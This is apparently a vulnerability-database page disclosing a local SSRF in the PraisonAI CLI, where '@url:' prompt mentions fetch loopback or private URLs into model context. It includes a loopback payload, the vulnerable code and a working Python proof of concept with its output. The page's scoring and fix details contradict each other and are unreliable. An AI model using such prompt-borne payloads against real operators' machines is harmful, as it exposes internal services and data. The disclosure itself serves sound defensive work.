CVE-2026-47395

MEDIUMPre-NVD 5.55.5
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 5.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 97% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
5.5
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: 0%CVSS: 5.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

PraisonAI CLI automatically resolves @url mentions in prompt text and can read loopback URLs into model context

Summary

PraisonAI's direct-prompt CLI automatically expands @url: mentions in raw prompt text before agent execution begins.

If a prompt contains @url:, the CLI calls MentionsParser.process(...). The @url: handler then performs a direct urllib.request.urlopen() request to the attacker-controlled URL and returns the response body. That response body is prepended to the final model prompt context.

There is no loopback/private-address restriction, no metadata-service restriction, and no approval gate before the fetch.

As a result, attacker-influenced prompt text can cause the operator's machine to fetch localhost-only HTTP resources and inject the response into model context.

Example:

@url:http://localhost.:8766/ summarize this

This causes PraisonAI to make an HTTP request to the local machine and prepend the fetched response body to the prompt that the model receives.

This is a narrow local SSRF / local content disclosure issue in automatic prompt preprocessing. It is not a remote server takeover.

Details

The affected direct-prompt CLI path is in:

src/praisonai/praisonai/cli/main.py

The CLI imports and instantiates MentionsParser on the direct prompt path:

from praisonaiagents.tools.mentions import MentionsParser

parser = MentionsParser(workspace_path=os.getcwd())

if parser.has_mentions(prompt): mention_context, prompt = parser.process(prompt)

if mention_context: prompt = f"{mention_context}# Task:\n{prompt}"

This means raw prompt text is interpreted as a mention language before query rewriting, prompt expansion, tool execution, or LLM invocation.

The affected mention implementation is in:

src/praisonai-agents/praisonaiagents/tools/mentions.py

@url: is a first-class mention type:

PATTERNS = {
    "file": re.compile(r'@file:([^\s]+)'),
    "web": re.compile(r'@web:([^\s]+(?:\s+[^\s@]+)*)'),
    "doc": re.compile(r'@doc:([^\s]+)'),
    "rule": re.compile(r'@rule:([^\s]+)'),
    "url": re.compile(r'@url:(https?://[^\s]+)'),
}

The URL mention handler performs an unrestricted HTTP request:

req = urllib.request.Request(
    url,
    headers={'User-Agent': 'Mozilla/5.0 (compatible; PraisonAI/1.0)'}
)

with urllib.request.urlopen(req, timeout=10) as response: content = response.read().decode('utf-8', errors='ignore')

There is no validation rejecting:

127.0.0.1
localhost
localhost.
private RFC1918 addresses
link-local addresses
cloud metadata endpoints
other local-only HTTP services

The returned body is added to the generated mention context and then prepended to the prompt.

The resulting chain is:

attacker-influenced prompt text
  -> @url:http://localhost.:8766/
  -> direct-prompt CLI calls MentionsParser.process(...)
  -> _process_url_mention(...)
  -> urllib.request.urlopen(attacker URL)
  -> loopback HTTP response body is read
  -> response body is injected into model prompt context

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8766, passes a prompt containing @url:http://localhost.:8766/ through the real MentionsParser.process(...) implementation, and confirms that the local response body is injected into the generated prompt context.

Full PoC

#!/usr/bin/env python3
"""Self-contained local replay for PraisonAI CLI @url mention loopback fetch."""

from __future__ import annotations

import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path

REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai" PRAISON_ROOT = REPO_ROOT / "src" / "praisonai" AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents" CLI_MAIN = PRAISON_ROOT / "praisonai/cli/main.py" MENTIONS = AGENTS_ROOT / "praisonaiagents/tools/mentions.py"

def verify_source() -> None: expected = { CLI_MAIN: [ "from praisonaiagents.tools.mentions import MentionsParser", "if parser.has_mentions(prompt):", "mention_context, prompt = parser.process(prompt)", 'prompt = f"{mention_context}# Task:\\n{prompt}"', ], MENTIONS: [ '"url": re.compile(r\'@url:(https?://[^\\s]+)\')', "def _process_url_mention(self, url: str) -> Optional[str]:", "with urllib.request.urlopen(req, timeout=10) as response:", ], }

for path, needles in expected.items(): text = path.read_text(encoding="utf-8") for needle in needles: if needle not in text: raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")

class _Handler(BaseHTTPRequestHandler): hits: list[tuple[str, str | None]] = [] body = b"secret-local-page"

def do_GET(self) -> None: # noqa: N802 self.__class__.hits.append((self.path, self.headers.get("Host"))) self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(self.body))) self.end_headers() self.wfile.write(self.body)

def log_message(self, format: str, *args) -> None: # noqa: A003 return

def main() -> int: if not CLI_MAIN.exists() or not MENTIONS.exists(): raise SystemExit("missing local PraisonAI source tree")

verify_source()

sys.path.insert(0, str(AGENTS_ROOT)) from praisonaiagents.tools.mentions import MentionsParser

_Handler.hits.clear()

server = HTTPServer(("127.0.0.1", 8766), _Handler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start()

try: parser = MentionsParser(workspace_path="/tmp") context, cleaned = parser.process("@url:http://localhost.:8766/ summarize this") finally: server.shutdown() server.server_close() thread.join(timeout=1)

print("[poc] cli_path_verified=yes") print("[poc] mention_impl_verified=yes") print(f"[poc] cleaned_prompt={cleaned}") print(f"[poc] loopback_hit_count={len(_Handler.hits)}")

if _Handler.hits: print(f"[poc] loopback_host={_Handler.hits[0][1]}")

print(f"[poc] context_contains_secret={'secret-local-page' in context}")

if cleaned != "summarize this": raise SystemExit(f"[poc] MISS: unexpected cleaned prompt {cleaned!r}")

if not _Handler.hits: raise SystemExit("[poc] MISS: no loopback HTTP request observed")

if "secret-local-page" not in context: raise SystemExit("[poc] MISS: local response body was not injected into prompt context")

print("[poc] HIT: @url mention fetched loopback content and injected it into prompt context") return 0

if __name__ == "__main__": raise SystemExit(main())

Observed output

[poc] cli_path_verified=yes
[poc] mention_impl_verified=yes
[poc] cleaned_prompt=summarize this
[poc] loopback_hit_count=1
[poc] loopback_host=localhost.:8766
[poc] context_contains_secret=True
[poc] HIT: @url mention fetched loopback content and injected it into prompt context

Expected secure behavior

A prompt-borne @url:` mention should not be able to read loopback or private-network resources by default.

At minimum, the following should be rejected before any HTTP request is made:

http://127.0.0.1/
http://localhost/
http://localhost./
http://169.254.169.254/
private RFC1918 addresses
link-local addresses

Actual vulnerable behavior

The loopback request succeeds, and the returned local content is inserted into the generated prompt context.

Impact

An attacker who can influence prompt text passed to PraisonAI's direct-prompt CLI can cause the operator's machine to perform local HTTP requests and inject the fetched response body into the model prompt context.

Potential impact includes:

* reading localhost-only HTTP resources; * reading local dashboards, admin panels, development servers, or internal web services bound to loopback; * exposing fetched local content to the model prompt; * exposing fetched local content through downstream logs, traces, model output, or agent memory depending on the operator workflow.

This report does not claim unauthenticated remote server takeover. The attacker must influence the prompt text that an operator runs with the direct-prompt CLI.

CVSS v3
5.5
EG Score
5.5(low)
EPSS
2.9%
KEV
Not listed

Published

May 29, 2026

Last Modified

May 29, 2026

Vendor Advisories for CVE-2026-47395(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(2 across 1 ecosystem)
PyPI(2)
PackageVulnerable rangeFixed inDependents
praisonai0.0.1 ... 4.6.9 (731 versions)4.6.40
praisonaiagents0.0.1 ... 1.6.9 (568 versions)1.6.40

Data Freshness Timeline

(refreshed 3× in last 7d / 15× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-16 01:46 UTCEG score recompute
  2. 2026-07-14 13:45 UTCEG score recompute
  3. 2026-07-11 16:55 UTCEG score recompute
  4. 2026-07-08 17:15 UTCEG score recompute
  5. 2026-07-02 03:42 UTCEG score recompute
  6. 2026-07-01 01:17 UTCEG score recompute
  7. 2026-06-29 13:35 UTCEG score recompute
  8. 2026-06-28 15:52 UTCEG score recompute
  9. 2026-06-27 18:03 UTCEG score recompute
  10. 2026-06-26 20:19 UTCEG score recompute
  11. 2026-06-25 22:36 UTCEG score recompute
  12. 2026-06-25 00:28 UTCEG score recompute
  13. 2026-06-24 02:44 UTCEG score recompute
  14. 2026-06-18 10:16 UTCEG score recompute
  15. 2026-06-17 08:16 UTCEG score recompute
  16. 2026-06-16 10:32 UTCEG score recompute
  17. 2026-06-15 12:49 UTCEG score recompute
  18. 2026-06-14 23:18 UTCEPSS rescore
  19. 2026-06-14 15:01 UTCEG score recompute
  20. 2026-06-13 23:00 UTCEPSS rescore
  21. 2026-06-13 17:18 UTCEG score recompute
  22. 2026-06-12 23:12 UTCEPSS rescore
  23. 2026-06-12 18:57 UTCEG score recompute
  24. 2026-06-11 21:14 UTCEG score recompute
  25. 2026-06-10 23:31 UTCEG score recompute
Show 12 more
  1. 2026-06-10 01:48 UTCEG score recompute
  2. 2026-06-09 04:06 UTCEG score recompute
  3. 2026-06-08 06:23 UTCEG score recompute
  4. 2026-06-07 08:40 UTCEG score recompute
  5. 2026-06-06 10:57 UTCEG score recompute
  6. 2026-06-05 13:15 UTCEG score recompute
  7. 2026-06-04 15:32 UTCEG score recompute
  8. 2026-06-03 17:49 UTCEG score recompute
  9. 2026-06-02 20:06 UTCEG score recompute
  10. 2026-06-01 22:23 UTCEG score recompute
  11. 2026-06-01 00:40 UTCEG score recompute
  12. 2026-05-29 23:13 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-47395?
CVE-2026-47395 is a medium vulnerability published on May 29, 2026. PraisonAI CLI automatically resolves @url mentions in prompt text and can read loopback URLs into model context Summary PraisonAI's direct-prompt CLI automatically expands @url: mentions in raw prompt text before agent execution begins. If a prompt contains @url:<http-or-https-url>, the CLI calls…
When was CVE-2026-47395 disclosed?
CVE-2026-47395 was first published in the National Vulnerability Database on May 29, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-47395 actively exploited?
CVE-2026-47395 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 2.9% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-47395?
CVE-2026-47395 has a CVSS v4.0 base score of 5.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-47395?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-47395, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-47395

Explore →

Is Your Infrastructure Affected by CVE-2026-47395?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.